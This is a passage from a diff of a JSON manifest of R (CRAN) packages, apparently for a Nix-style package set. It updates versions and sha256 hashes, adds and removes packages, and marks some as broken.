"1w5ri6cgps6yb9krqirvl97avm8kccahj4i85f5rdhyyqxf4n1h4", + "depends": ["MASS", "ROCR", "ada", "adabag", "dplyr", "e1071", "gbm", "ggplot2", "glmnet", "kknn", "neuralnet", "nnet", "randomForest", "rpart", "stringr", "xgboost"] + }, "trainsplit": { "name": "trainsplit", "version": "1.2", @@ -128059,10 +127687,16 @@ "sha256": "1xrs7ircfvvqbynjsh7yqnik3dn7cgvkvp3hx8yc8z2xwv7amr0k", "depends": ["cotram", "future", "future_apply", "mvtnorm", "tram", "variables"] }, + "tranSurv": { + "name": "tranSurv", + "version": "1.2.3", + "sha256": "0jccdkhz942kaz3ddvhlcdn0q1g9yvwqczvr9zclg1adwl95yc6k", + "depends": ["SQUAREM", "rootSolve", "survival", "truncSP"] + }, "transDA": { "name": "transDA", - "version": "1.0.0", - "sha256": "0v2ldrv5h35xbj9k76dx4ygfqn5j9ni2h22jj2l61sp2bfh1crbf", + "version": "1.0.1", + "sha256": "0is4spm2vajxacp8l6qwai8fyp5lz993xzppnwhi77mc9sfl387v", "depends": ["mvtnorm"] }, "transPlotR": { @@ -128163,8 +127797,8 @@ }, "transreg": { "name": "transreg", - "version": "1.0.3", - "sha256": "1xyvyj2l846hxknlf9h4dfidf85rnn1wa9m43kf3p3csfhfh6ahm", + "version": "1.0.4", + "sha256": "0z1n8n04h78lqxwyskdm7hjbdyhmmiscwwkc2gn7k1lklfn1gwl2", "depends": ["glmnet", "joinet", "starnet"] }, "transx": { @@ -128287,12 +127921,6 @@ "sha256": "1bmb2ccqm47x1lzp8c7pg61j74x01n98p0sfs6ih8svvgydq4fk1", "depends": ["Rcpp", "RcppArmadillo", "abind", "boot", "ggplot2", "lmodel2", "lmtest", "np", "plyr"] }, - "treedater": { - "name": "treedater", - "version": "0.5.0", - "sha256": "007rdrbv3v1z3qbyasla22rck105sqlqh93yfmxklihdydl7smfd", - "depends": ["ape", "limSolve"] - }, "treediff": { "name": "treediff", "version": "0.2.1", @@ -128337,20 +127965,20 @@ }, "treesitter": { "name": "treesitter", - "version": "0.2.0", - "sha256": "1mri1sfl96di94v3b76mfkh6ipq9dfaj6jhsslqw755j10bjbcib", + "version": "0.3.0", + "sha256": "0bljyh7glvhvxb9x258pg67dk2fkyx1jkl3kxma8k12kr6znqc08", "depends": ["R6", "cli", "rlang", "vctrs"] }, "treesitter_r": { "name": "treesitter.r", - "version": "1.1.0", - "sha256": "15kbbzz0mfs9wwm0lk7v764m85fjwbng881r1yhyjklc9zlxanx3", + "version": "1.2.0", + "sha256": "14wvxbzd3a9bkgpracyxprb9b028lm46v4qxdcyiz02i3c91npqp", "depends": [] }, "treesliceR": { "name": "treesliceR", - "version": "1.0.2", - "sha256": "1hzi2l24x1hb21ljnv0zcqghibpjxh8gx0rfryvh6fvd71v1g4hb", + "version": "1.0.3", + "sha256": "0yq56cxxaz2jvzf8vynnkwywg87q11f4h5smlbb45fsbhlgvzl0g", "depends": ["ape", "doParallel", "foreach", "ggplot2", "sf"] }, "treespace": { @@ -128535,8 +128163,8 @@ }, "tripack": { "name": "tripack", - "version": "1.3-9.2", - "sha256": "0in9jlqni00qy9czpw7lnhm846ijxqbm02z8dy5bhgmh9v048brv", + "version": "1.3-9.3", + "sha256": "0ximarlnrgldny2wf1ygzh2id72cvrx8fplk49kq1qwbvjf21sj0", "depends": [] }, "triplesmatch": { @@ -128607,8 +128235,8 @@ }, "trtswitch": { "name": "trtswitch", - "version": "0.1.6", - "sha256": "15nvzlbcz7k9xpfl3yydk97rfgpa6xvhjg1bsn9c499nl0yx9bqg", + "version": "0.1.7", + "sha256": "1z1m96l114saf26jv9p0dazspva7x11k654isa0p5am8iynv9pa0", "depends": ["Rcpp"] }, "trud": { @@ -129043,12 +128671,6 @@ "sha256": "0k35kavamz8s9c2na2f01i74wxid4lf4h8w71hk0nxzdm1qv3i45", "depends": ["MASS", "evd", "mvtnorm", "tictoc"] }, - "ttScreening": { - "name": "ttScreening", - "version": "1.6", - "sha256": "1i8c9l3sdkzl99zxxyfqm84vkh6wjdh3a32l5q8ikf74g9dhxkf4", - "depends": ["MASS", "corpcor", "limma", "matrixStats", "simsalapar", "sva"] - }, "ttbary": { "name": "ttbary", "version": "0.3-1", @@ -129205,6 +128827,12 @@ "sha256": "152yigfmfwwsykh8v2y86cl1ybz4p17msxcva8iiqg0ijnhrxhg2", "depends": ["dplyr", "lubridate", "magrittr", "rlang"] }, + "tvGarchKF": { + "name": "tvGarchKF", + "version": "0.0.1", + "sha256": "1vq7vckk2553r7bw1gb23396q74v3pg75iiwf0qvp6v6j37fs272", + "depends": ["Rcpp", "fGarch"] + }, "tvR": { "name": "tvR", "version": "0.3.2", @@ -129223,6 +128851,12 @@ "sha256": "05b8c7ymf3xwy348kdjy6ary4pg2jkbhcq3s9hg9q7jw1vz3ps9k", "depends": ["MASS", "Matrix", "Rfast", "cubicBsplines", "mgcv"] }, + "tvdenoising": { + "name": "tvdenoising", + "version": "1.0.0", + "sha256": "0k2grlyn8pg8ab6kx3pyb5b2rwbxl96zi7lxia1sqvyy2p7m9s5w", + "depends": ["Rcpp", "rlang"] + }, "tvem": { "name": "tvem", "version": "1.4.1", @@ -129409,6 +129043,12 @@ "sha256": "0b73qcna55gmfxz1lzd987j28m7g8642s9wgzpndx3850q61yfli", "depends": ["doParallel", "glmmTMB", "multcomp", "pbapply", "pscl"] }, + "twotrials": { + "name": "twotrials", + "version": "0.6", + "sha256": "07q9liilywmv93lb8gk8k13flyac8h40r8yl6r5zfd5hq2039bab", + "depends": [] + }, "twoway": { "name": "twoway", "version": "0.6.3", @@ -129471,8 +129111,8 @@ }, "typr": { "name": "typr", - "version": "0.0.1", - "sha256": "0naclrzb06fvvn4iij55gdz8h7aqlidq28back3by48f9ilrwjlh", + "version": "0.0.3", + "sha256": "0sjy0c4cb66cjhykhpkx87c5c9mxz46dvfl9jg7q93xfwgw2smvx", "depends": ["cli", "fs", "processx", "rlang"] }, "tzdb": { @@ -129753,8 +129393,8 @@ }, "undidR": { "name": "undidR", - "version": "1.0.2", - "sha256": "0cvy06ijbyglz70c2ldxn1lqgpaqqamn8lnmpsplhyvzz948iwci", + "version": "2.0.0", + "sha256": "0z4fsa22nbb5kv76ldbars6q6003bm484nl7d806war75x5hc7c4", "depends": [] }, "unglue": { @@ -130003,6 +129643,12 @@ "sha256": "1vfyvwqfbxp29x2a0sqng6l5pkp2hc3hadp95ysnpannnsd6x0jw", "depends": [] }, + "unvs_med": { + "name": "unvs.med", + "version": "1.0.0", + "sha256": "0lr7dyzfp3j6znyiawzjvg9bfwh0b8nh60ld4wjq2awj9mcmh0sw", + "depends": ["data_table", "snowfall"] + }, "uotm": { "name": "uotm", "version": "0.1.6", @@ -130033,6 +129679,12 @@ "sha256": "15dlzn52nyk37naqjxxzy6wmspv3ambc0rg5xc9ffrbiai4j2sqr", "depends": ["cir", "expm", "numbers", "plyr"] }, + "upset_hp": { + "name": "upset.hp", + "version": "0.0.1", + "sha256": "1spbsfcp09yj5d5n8vc8rinv20j8qjc7xmx9bq8ab0cqijnzn6aw", + "depends": ["MuMIn", "ggplot2", "glmm_hp", "patchwork", "vegan"] + }, "upsetjs": { "name": "upsetjs", "version": "1.11.1", @@ -130095,8 +129747,8 @@ }, "urltools": { "name": "urltools", - "version": "1.7.3", - "sha256": "04x3my655dd287cbsszbnf75q0swmjlxxrblcsay7a8n3df3a830", + "version": "1.7.3.1", + "sha256": "0wl7dikv0kwmnmcikg7y9k173fw9nlq01vscsfcfzgl5pdhvfnzq", "depends": ["Rcpp", "triebeard"] }, "uroot": { @@ -130245,8 +129897,8 @@ }, "usmap": { "name": "usmap", - "version": "0.7.1", - "sha256": "04fw3k9h11av7idn8cvcphq7wncgp9pf7mrrdb2a63wirlgd14w6", + "version": "0.8.0", + "sha256": "19wkma0lj3dk725cjjra7grb2ywb96cflqijsjq9q7kngkn0qvdf", "depends": ["rlang", "usmapdata"] }, "usmapdata": { @@ -130281,8 +129933,8 @@ }, "utf8": { "name": "utf8", - "version": "1.2.5", - "sha256": "091xj6vhikxadqbvswx6zhnvh5yvzgpqk2kn1dcp9v8rq5iq5gig", + "version": "1.2.6", + "sha256": "1sbcd3kyx8y9dfbydlmsxrj7fkpb5w7w5a7knxq9wcli4avzi2a5", "depends": [] }, "utf8ify": { @@ -130327,12 +129979,6 @@ "sha256": "07avc0j6qkzqmznbydn0zdg743g7g7kn2bcx5n03m3wg0fqyggr7", "depends": ["RCurl", "data_table", "dplyr", "stringdist", "stringr"] }, - "utiml": { - "name": "utiml", - "version": "0.1.7", - "sha256": "16l64scyipj7plwyv6whv3h040sgvzxx43jhjxyhrcdci4pqwh94", - "depends": ["ROCR", "mldr"] - }, "utsf": { "name": "utsf", "version": "1.2.0", @@ -130923,9 +130569,9 @@ }, "vectorsurvR": { "name": "vectorsurvR", - "version": "1.3.2", - "sha256": "0a0awp059g6x5cvpbprmy5hk1y5r2x1kpjva5202xj7ibp70akq1", - "depends": ["DT", "dplyr", "httr", "jsonlite", "kableExtra", "knitr", "lubridate", "magrittr", "purrr", "rstudioapi", "sf", "stringr", "tidyr"] + "version": "1.4.0", + "sha256": "1s8j09q7zscyd2jyy57ikwqms733g1dxvsqldwbmwf7s0376xb1q", + "depends": ["DT", "dplyr", "httr2", "jsonlite", "kableExtra", "knitr", "lubridate", "magrittr", "purrr", "rstudioapi", "sf", "stringr", "tidyr"] }, "vectorwavelet": { "name": "vectorwavelet", @@ -130953,8 +130599,8 @@ }, "vegan": { "name": "vegan", - "version": "2.6-10", - "sha256": "1dxwqzsmbx129lpykjb4gqvxp79qy1j41w99xdmjxs5ph42bkd5g", + "version": "2.7-1", + "sha256": "12qrd76hqk7hcria45g91wmwygfwl755mbrv90n43pa14r1cs4fr", "depends": ["MASS", "cluster", "lattice", "mgcv", "permute"] }, "vegan3d": { @@ -131095,12 +130741,6 @@ "sha256": "1g382ig1lw1jn50ijw4nmcy5xbcdcci2f8h4vs53f8256arj0ky7", "depends": ["cli", "collapse", "data_table", "dplyr", "glue", "pillar", "purrr", "rlang", "tibble", "tidyselect", "vctrs"] }, - "vesselr": { - "name": "vesselr", - "version": "0.2.1", - "sha256": "1wzprnpiv04gxhqgki36gp1a0xj9l3mchllphwkfsdja4axq3prk", - "depends": ["oro_nifti", "pbapply", "pbmcapply"] - }, "vetiver": { "name": "vetiver", "version": "0.2.5", @@ -131265,15 +130905,15 @@ }, "viraldomain": { "name": "viraldomain", - "version": "0.0.6", - "sha256": "1g5872l0vgv3dx2ilkk75rzrvp2df7c7avx9n51dzfxkm82s41hi", - "depends": ["applicable", "dplyr", "ggplot2", "parsnip", "recipes", "tidyselect", "workflows"] + "version": "0.0.7", + "sha256": "1jjyaxvamw054vzcfwb05admm9facbrsnscbxwxpqc9pdarkxw4m", + "depends": ["applicable", "dplyr", "earth", "kknn", "magrittr", "parsnip", "ranger", "recipes", "tidyselect", "workflows"] }, "viralmodels": { "name": "viralmodels", - "version": "1.3.3", - "sha256": "00x562cf0i50hpvam4xv9xp8g9b0f497qb4w26zfk70cdq5sb353", - "depends": ["dials", "dplyr", "hardhat", "parsnip", "purrr", "recipes", "rsample", "tidyselect", "tune", "workflows", "workflowsets"] + "version": "1.3.4", + "sha256": "1xkgbf4l0ca8dgpzcsb94fxnv8vwz8rhs99i33zdwy14nqcjxcj5", + "depends": ["Cubist", "baguette", "dials", "dplyr", "glmnet", "hardhat", "kernlab", "kknn", "magrittr", "parsnip", "purrr", "ranger", "recipes", "rsample", "rules", "tidyselect", "tune", "viraldomain", "workflows", "workflowsets"] }, "viridis": { "name": "viridis", @@ -131325,8 +130965,8 @@ }, "visStatistics": { "name": "visStatistics", - "version": "0.1.3", - "sha256": "0i98d198fkr7169wj4j1c1k54avfilmymk0gc2swwi63cnaywv46", + "version": "0.1.7", + "sha256": "0fjqyfgjvrnmcj1w0pjkkhsn876iip49yzmr3647g9bksvwn88g1", "depends": ["Cairo", "multcompView", "nortest", "vcd"] }, "visTree": { @@ -131377,12 +131017,6 @@ "sha256": "1675az0lfvmwzh9c3fknnk0n2kz1w7hy0kdj3a37n5j1knxwsjhh", "depends": ["cli", "dplyr", "forcats", "ggplot2", "glue", "magrittr", "purrr", "readr", "scales", "tibble", "tidyr"] }, - "visit": { - "name": "visit", - "version": "2.2", - "sha256": "0mrwah122w9dyivyzs8xlv6vq9w8bpr468zjjw5q974wk7h31mk4", - "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "rstan", "rstantools", "sqldf"] - }, "vismeteor": { "name": "vismeteor", "version": "1.8.5", @@ -131481,8 +131115,8 @@ }, "vivainsights": { "name": "vivainsights", - "version": "0.6.1", - "sha256": "05q29qib3jc2r2ckca6x30iayinl8x0cf6f44lahhfgxn54dd71s", + "version": "0.6.2", + "sha256": "1xmffacid9lpy65r52bz9b06wmdvzmhcd94w6yavp2z2sadyvrba", "depends": ["data_table", "dplyr", "ggplot2", "ggraph", "ggrepel", "ggwordcloud", "glue", "htmltools", "igraph", "lifecycle", "magrittr", "markdown", "networkD3", "purrr", "reshape2", "rmarkdown", "scales", "tidyr", "tidyselect", "tidytext", "wpa"] }, "vivaldi": { @@ -131571,8 +131205,8 @@ }, "vol2birdR": { "name": "vol2birdR", - "version": "1.0.9", - "sha256": "0aczn776y3rk29zpjkxp3waa5g4p40zf08ry2amjjv6xl4k3vszj", + "version": "1.1.0", + "sha256": "0xqfr3w39ywdf02jx6pms5srvwhav2gkbkqg34kca75mlyhcsqja", "depends": ["Rcpp", "RcppGSL", "assertthat", "pkgbuild", "rlang", "withr"] }, "volatilityTrader": { @@ -131611,6 +131245,12 @@ "sha256": "0n1r0bvvmba21cs3qgpnw9jxpgl2n82fhxa40sa1w2gav5rch5i6", "depends": [] }, + "volrisk": { + "name": "volrisk", + "version": "0.1.0", + "sha256": "0w3lnlry8chw526r2k3v1fvkdv0ylq2ca27jy1rj0v0aa18dx12g", + "depends": ["arrow", "data_table", "doSNOW", "dplyr", "foreach", "magrittr", "progress", "rstudioapi", "stringr"] + }, "voluModel": { "name": "voluModel", "version": "0.2.2", @@ -131653,12 +131293,6 @@ "sha256": "18jj38dva2bvz7gl7hm3qrlycmds9glnln0w9pvjnbj800147ddw", "depends": ["data_table", "fields", "formattable", "knitr"] }, - "voteSim": { - "name": "voteSim", - "version": "0.1.1", - "sha256": "0wqyckpmwwyfmwqhmml62nf781zakbiir727jac1bc1iawxm9y7k", - "depends": ["GenOrd", "extraDistr", "truncnorm"] - }, "voteogram": { "name": "voteogram", "version": "0.3.2", @@ -131709,8 +131343,8 @@ }, "vprint": { "name": "vprint", - "version": "1.0", - "sha256": "0jpynvbcrpis154s44ich0lb6by12jii7x0q2jws9pb4cq4dfgjm", + "version": "1.2", + "sha256": "1dwig33zdy4m4nqjimbxiqz1xhk7am41j8r54539d5h8sw0sxayf", "depends": [] }, "vprr": { @@ -131743,12 +131377,6 @@ "sha256": "082jxk8fw4rplal9672bi6rr1jwpb5h6clrdlv9jj4ffvlbg6vaz", "depends": ["ManlyMix", "MixGHD", "mclust", "teigen"] }, - "vsd": { - "name": "vsd", - "version": "0.1.0", - "sha256": "18whnvary4glblzx1vxf3yzsllnnnbnyijwhbw7bi3agppnwrf22", - "depends": ["dplyr", "flexsurv", "ggplot2", "ggpubr", "magrittr", "muhaz", "survival", "survminer"] - }, "vse4ts": { "name": "vse4ts", "version": "1.0.0", @@ -132103,24 +131731,12 @@ "sha256": "09rm08i0zkzpdgjqcdi67sikcy25gmszi5xmdh0i8ji80w4bx4zw", "depends": ["R6", "later", "rlang"] }, - "waterData": { - "name": "waterData", - "version": "1.0.8", - "sha256": "0884agh876wf3qlbc75fbaa47x2iwvncz7r2l25qw34n8lxq1yr6", - "depends": ["dataRetrieval", "lattice", "latticeExtra", "lubridate", "xml2"] - }, "waterYearType": { "name": "waterYearType", "version": "1.0.1", "sha256": "09brbqcd41khycz9lhn84w68wpk8lsdnzb6lzc10gm5s5ambgj06", "depends": [] }, - "waterfall": { - "name": "waterfall", - "version": "1.0.2", - "sha256": "0jy6l9mx0dixwnkychdl18sf4xh73pm0qd1jyxp9rlnv1vcragjp", - "depends": ["lattice"] - }, "waterfalls": { "name": "waterfalls", "version": "1.0.0", @@ -132181,12 +131797,6 @@ "sha256": "1yhbp1jimx33g4sjigr5vmqqrinz1mdfgvkaaj4y2gcx7sihiiwx", "depends": ["geosphere", "sf"] }, - "waves": { - "name": "waves", - "version": "0.2.5", - "sha256": "1ggpldwdgc97jp03n3z5s8hw3ib6q09yyinryz78xs798v9l4qdl", - "depends": ["caret", "dplyr", "ggplot2", "lifecycle", "magrittr", "pls", "prospectr", "randomForest", "readr", "rlang", "scales", "spectacles", "stringr", "tibble", "tidyr", "tidyselect"] - }, "waveslim": { "name": "waveslim", "version": "1.8.5", @@ -132513,8 +132123,8 @@ }, "weightedCL": { "name": "weightedCL", - "version": "0.5", - "sha256": "0gb9p3qvbnqmccsfi3a0hx6i67n5z9fg3jgjrgg6qikgngbq3sld", + "version": "0.7", + "sha256": "1pdgslkknfbvimnsf588qgb12l93kk141y70vjm2sxdbmn7xdh18", "depends": ["MASS", "matlab", "rootSolve", "sure"] }, "weightedGCM": { @@ -132543,8 +132153,8 @@ }, "weights": { "name": "weights", - "version": "1.0.4", - "sha256": "1fnchf7f0hyl514bk8sc3l884kg25kb5xm4mc2l28n6hm7l6bgpg", + "version": "1.1.1", + "sha256": "145jmsrfqj1x5qz86rigzrxmc7x049a5knn1xwxw0881xnz1a1ii", "depends": ["Hmisc", "gdata", "lme4", "mice"] }, "weird": { @@ -132745,6 +132355,12 @@ "sha256": "0lwc5lkk45rp3fvmf551sijmjnnwg7n5cni6bfyr1jjn9hp2j3bw", "depends": ["snowfall"] }, + "wideRhino": { + "name": "wideRhino", + "version": "1.0.2", + "sha256": "016w9p2apsyz75qq96rq24mvxj435crsijcj4m5rr45mnnb1hd50", + "depends": ["MASS", "Matrix", "dplyr", "geigen", "ggplot2"] + }, "widgetframe": { "name": "widgetframe", "version": "0.3.1", @@ -133149,9 +132765,9 @@ }, "workflowsets": { "name": "workflowsets", - "version": "1.1.0", - "sha256": "1mkczbdhs7cddvbklpqml70078cxmlv34hzg8f0zx1s1bpvvi7x6", - "depends": ["cli", "dplyr", "generics", "ggplot2", "glue", "hardhat", "lifecycle", "parsnip", "pillar", "prettyunits", "purrr", "rlang", "rsample", "tibble", "tidyr", "tune", "vctrs", "withr", "workflows"] + "version": "1.1.1", + "sha256": "1dimx66h4qg7v20cqq35g6c0s7d8zpzc9ajws6rs1ax0vj5i63yv", + "depends": ["cli", "dplyr", "generics", "ggplot2", "hardhat", "lifecycle", "parsnip", "pillar", "prettyunits", "purrr", "rlang", "rsample", "tibble", "tidyr", "tune", "vctrs", "withr", "workflows"] }, "workloopR": { "name": "workloopR", @@ -133161,8 +132777,8 @@ }, "worldbank": { "name": "worldbank", - "version": "0.5.0", - "sha256": "1x7g9n69h0spvn7z2v8d44nkwl0wf6b5cjqr9xqrgx2aivm6f09d", + "version": "0.6.0", + "sha256": "0rmg5x5cwkd1b2m5fqp6y1dnwc7nmaly7ifvaclsvi6hi13y47kd", "depends": ["httr2"] }, "worldfootballR": { @@ -133209,8 +132825,8 @@ }, "wpa": { "name": "wpa", - "version": "1.9.1", - "sha256": "0likivdwxl66nj6wxkcssqgz8slhagbw9qhxbxwsw10gyq4769rb", + "version": "1.9.2", + "sha256": "0qk748dzr0a338p6lf8y99snxyqj59xcnpffhh0d3973vlv2rqix", "depends": ["DT", "data_table", "dplyr", "ggplot2", "ggraph", "ggrepel", "ggwordcloud", "htmltools", "igraph", "magrittr", "markdown", "networkD3", "proxy", "purrr", "reshape2", "rmarkdown", "scales", "tidyr", "tidyselect", "tidytext"] }, "wpp2008": { @@ -133435,12 +133051,6 @@ "sha256": "1h3mf898wrqx212xxaqqm6vqgg1aicrykrnc32f9wl5hyjcbnq70", "depends": ["R6", "data_table", "tidyr", "wyz_code_offensiveProgramming"] }, - "x_ent": { - "name": "x.ent", - "version": "1.1.7", - "sha256": "15qra77dqhj27g3qx92gram4mq4n9fdidygdpvxfmcx7ww3vc6yh", - "depends": ["ggplot2", "jsonlite", "statmod", "stringr", "xtable"] - }, "x12": { "name": "x12", "version": "1.10.3", @@ -133477,6 +133087,12 @@ "sha256": "07mib63zbvffr4w8klpv017d13wvqy3mwrpssr0vydcj8475gjfx", "depends": ["RCurl", "countrycode", "haven"] }, + "xVA": { + "name": "xVA", + "version": "1.3", + "sha256": "07cv88nq21smbkwnbpi7hnvclm9xrw04dvsh4lnra1wp7q58qdwb", + "depends": ["SACCR", "Trading", "data_table"] + }, "xactonomial": { "name": "xactonomial", "version": "1.0.3", @@ -133657,12 +133273,6 @@ "sha256": "07gjsz8jab5f2c1v7rcfv9pva8hikdl94nzvixvg6v0a7sq7qa6h", "depends": ["tidyxl"] }, - "xlink": { - "name": "xlink", - "version": "1.0.1", - "sha256": "02ahgjampy92gcwhv269px5w8651a7j50dn1295zwqxj44lk4g9q", - "depends": ["survival"] - }, "xlr": { "name": "xlr", "version": "1.0.3", @@ -134121,8 +133731,8 @@ }, "yyjsonr": { "name": "yyjsonr", - "version": "0.1.20", - "sha256": "0gkvls7rd1rbklg9f548rhpmqpa0kb0s1xgf7mhvlhxk45x32ipd", + "version": "0.1.21", + "sha256": "15b8c07j45ncvkq1l2ld0j9dc7bbsr2hpgk7278fv5nn8bhxd5by", "depends": [] }, "z22": { @@ -134163,14 +133773,14 @@ }, "zdeskR": { "name": "zdeskR", - "version": "0.4.2", - "sha256": "03qdskrhcgbvmglsb87ydfki0x659f2f9v7dqlg6sbf9583whaqj", + "version": "0.5.0", + "sha256": "1hpmpvbm58f6gvvxxl9bgs144nysk8p6dd9dfnnkppphchjchvdp", "depends": ["dplyr", "httr", "jsonlite", "magrittr", "plyr", "purrr", "tidyr", "tidyselect"] }, "zeallot": { "name": "zeallot", - "version": "0.1.0", - "sha256": "1sd1igcfnv27pa3bqxlbyxchi562h7grnjg1l7wxx3bwr49i57s3", + "version": "0.2.0", + "sha256": "1fwjv8lck5jz3gd67lr5wrpj1m7k70mkx6riyxv2yxndnzdrfsvz", "depends": [] }, "zebu": { @@ -134229,8 +133839,8 @@ }, "zetadiv": { "name": "zetadiv", - "version": "1.2.1", - "sha256": "0m147z864g2pca28gbna1bb7jqr2f74x15fj8v8hhs3a2lr8lh37", + "version": "1.3.0", + "sha256": "0rrnnb8fa6f5dkdy00c35fxbiqk3nk4aglc0qjkc30ldmsvb1akc", "depends": ["car", "geodist", "glm2", "mgcv", "nnls", "scam", "vegan"] }, "zfa": { @@ -134443,6 +134053,13 @@ "sha256": "0vi1slx2s4r5zf82lazqv0c3m12xq73wlgsbz6af4y00h0bkr3ps", "depends": ["httr", "jsonlite"] }, + "A3": { + "name": "A3", + "version": "1.0.0", + "sha256": "017hq9pjsv1h9i7cqk5cfx27as54shlhdsdvr6jkhb8jfkpdb6cw", + "depends": ["pbapply", "xtable"], + "broken": true + }, "ABCp2": { "name": "ABCp2", "version": "1.2", @@ -134492,6 +134109,13 @@ "depends": ["Matrix", "Rcpp", "RcppEigen", "mvnfast"], "broken": true }, + "AFM": { + "name": "AFM", + "version": "2.0", + "sha256": "1l0yd68h8vlii1437zhyrxj6fq1ghfaqclk860c25q2d055ajnqd", + "depends": ["data_table", "dbscan", "fftwtools", "fractaldim", "ggplot2", "gridExtra", "gstat", "igraph", "mixtools", "moments", "plyr", "png", "pracma", "rgl", "scales", "shiny", "shinyjs", "sp", "stringr"], + "broken": true + }, "AGSDest": { "name": "AGSDest", "version": "2.3.4", @@ -134688,6 +134312,13 @@ "depends": ["seewave", "tuneR", "zoo"], "broken": true }, + "AcrossTic": { + "name": "AcrossTic", + "version": "1.0-3", + "sha256": "03180h79jhjd66ibrnsfp3yyp2jlfysp7cymw46phzj2palghsc0", + "depends": ["lpSolve", "treeClust"], + "broken": true + }, "ActiveDriverWGS": { "name": "ActiveDriverWGS", "version": "1.2.0", @@ -134828,6 +134459,13 @@ "depends": ["CompQuadForm"], "broken": true }, + "AssocTests": { + "name": "AssocTests", + "version": "1.0-1", + "sha256": "1wp5swnpd6m5g4zm14lllclmw058513n1g3kq1iqc0acjavkqy17", + "depends": ["cluster", "combinat", "fExtremes", "mvtnorm"], + "broken": true + }, "AssotesteR": { "name": "AssotesteR", "version": "0.1-10", @@ -135003,6 +134641,13 @@ "depends": ["BH"], "broken": true }, + "BMTAR": { + "name": "BMTAR", + "version": "0.1.1", + "sha256": "0c70vkgv2sdci33yrk2n297k105wnlxj1qchskdparkiipf47xsh", + "depends": ["Brobdingnag", "MASS", "MCMCpack", "doParallel", "expm", "ggplot2", "ks", "mvtnorm"], + "broken": true + }, "BMTME": { "name": "BMTME", "version": "1.0.19", @@ -135080,6 +134725,13 @@ "depends": ["batchmeans", "MASS", "plyr", "pscl"], "broken": true }, + "BTYDplus": { + "name": "BTYDplus", + "version": "1.2.0", + "sha256": "1shai7kij20g3isd6l29i696pkzymr0qq2i9gzfsxmvdb4g4pcm2", + "depends": ["BTYD", "Rcpp", "bayesm", "coda", "data_table", "mvtnorm"], + "broken": true + }, "BaBooN": { "name": "BaBooN", "version": "0.2-0", @@ -135129,6 +134781,13 @@ "depends": ["fields", "poibin", "rjags"], "broken": true }, + "BayesComm": { + "name": "BayesComm", + "version": "0.1-2", + "sha256": "1rrbvwcfm93cw0m33g0zn6nyshfjc97kb3fby9cga0zaixc0a8rk", + "depends": ["Rcpp", "RcppArmadillo", "abind", "coda", "mvtnorm"], + "broken": true + }, "BayesGESM": { "name": "BayesGESM", "version": "1.4", @@ -135213,13 +134872,6 @@ "depends": ["bridgesampling", "car", "crayon", "fastDummies", "ggplot2", "knitr", "pracma", "Rcpp", "rhandsontable", "rstan", "shiny", "shinydashboard", "shinyjs", "shinythemes"], "broken": true }, - "Bchron": { - "name": "Bchron", - "version": "4.7.6", - "sha256": "1s8bx9a5rpcrw0msnjf565crz3d2fykvy5fj1chbqxzjh7qm865w", - "depends": ["MASS", "checkmate", "coda", "dplyr", "ggforce", "ggplot2", "ggridges", "magrittr", "mclust", "purrr", "scales", "stringr"], - "broken": true - }, "BiOFI": { "name": "BiOFI", "version": "0.1.0", @@ -135304,6 +134956,13 @@ "depends": ["optimr", "optimx", "shapes"], "broken": true }, + "BisqueRNA": { + "name": "BisqueRNA", + "version": "1.0.5", + "sha256": "0p3p5lp69gri7vs6qfpm7br4ksbs4l7clm4nj8ki99wpqiqni23n", + "depends": ["Biobase", "limSolve"], + "broken": true + }, "BivarP": { "name": "BivarP", "version": "1.0", @@ -135381,6 +135040,13 @@ "depends": ["bio_infer", "car", "gdata", "gmodels", "JavaGD", "JGR", "lattice", "MASS", "quantreg", "rJava", "rpart", "XML"], "broken": true }, + "CAESAR_Suite": { + "name": "CAESAR.Suite", + "version": "0.2.2", + "sha256": "1ww3s6gl8lb7g3xlykzgnlc7lrnnc7wvn1kip90yv84j09i096kx", + "depends": ["DescTools", "Matrix", "ProFAST", "Rcpp", "RcppArmadillo", "Seurat", "ade4", "furrr", "future", "ggplot2", "ggrepel", "irlba", "pbapply", "progress", "scater"], + "broken": true + }, "CAMAN": { "name": "CAMAN", "version": "0.78", @@ -135675,6 +135341,13 @@ "depends": ["limSolve", "MASS"], "broken": true }, + "CVR": { + "name": "CVR", + "version": "0.1.1", + "sha256": "1y8m9r409jq5h6xx1rvz7c7aj882jldfxly89zf3cvp2qg3jh7rj", + "depends": ["PMA", "Rcpp", "RcppArmadillo"], + "broken": true + }, "CVTuningCov": { "name": "CVTuningCov", "version": "1.0", @@ -135787,6 +135460,13 @@ "depends": ["PCICt", "multiApply"], "broken": true }, + "ClusVis": { + "name": "ClusVis", + "version": "1.2.0", + "sha256": "06yckdl3gxjia1gjjqpc29lvy4f7qf47fncslng9ggjnks6il145", + "depends": ["MASS", "Rcpp", "RcppArmadillo", "Rmixmod", "VarSelLCM", "mgcv", "mvtnorm"], + "broken": true + }, "ClustMMDD": { "name": "ClustMMDD", "version": "1.0.4", @@ -135794,6 +135474,13 @@ "depends": ["Rcpp"], "broken": true }, + "ClusteredMutations": { + "name": "ClusteredMutations", + "version": "1.0.1", + "sha256": "1n31nnvpjh1faw751k8m3ga3wfl0yhdpnszwckqhfzlma1jr8z04", + "depends": ["seriation"], + "broken": true + }, "CoFRA": { "name": "CoFRA", "version": "0.1002", @@ -135899,6 +135586,13 @@ "depends": ["doSNOW", "fields", "foreach", "geosphere", "raster", "rgdal", "rgeos", "rnaturalearth", "sf", "snow", "sp", "tibble", "writexl"], "broken": true }, + "Conake": { + "name": "Conake", + "version": "1.0.1", + "sha256": "00c07wlsrzf6cwpaxmd7c78cxiwc3jfslxm6sxpbpr6b8270hz5m", + "depends": [], + "broken": true + }, "CondReg": { "name": "CondReg", "version": "0.20", @@ -136361,6 +136055,13 @@ "depends": ["dplyr", "fields", "mnormt", "plotly", "reticulate"], "broken": true }, + "DetR": { + "name": "DetR", + "version": "0.0.5", + "sha256": "1dd4nzkgj5pl9397aa0z3q5fpl27xbdf7q0pqbs821dyynylxzn9", + "depends": ["MASS", "Rcpp", "RcppEigen", "pcaPP", "robustbase"], + "broken": true + }, "DetSel": { "name": "DetSel", "version": "1.0.4", @@ -136543,6 +136244,13 @@ "depends": ["BBmisc", "DataCombine", "accelerometry", "anytime", "chron", "data_table", "doParallel", "doSNOW", "foreach", "ggplot2", "hms", "scales", "signal"], "broken": true }, + "EAinference": { + "name": "EAinference", + "version": "0.2.3", + "sha256": "1kzcfya3z6rf1vqjn72yjymdhrn4dzgmwifh3w6k22cy5jxffzn4", + "depends": ["MASS", "Rcpp", 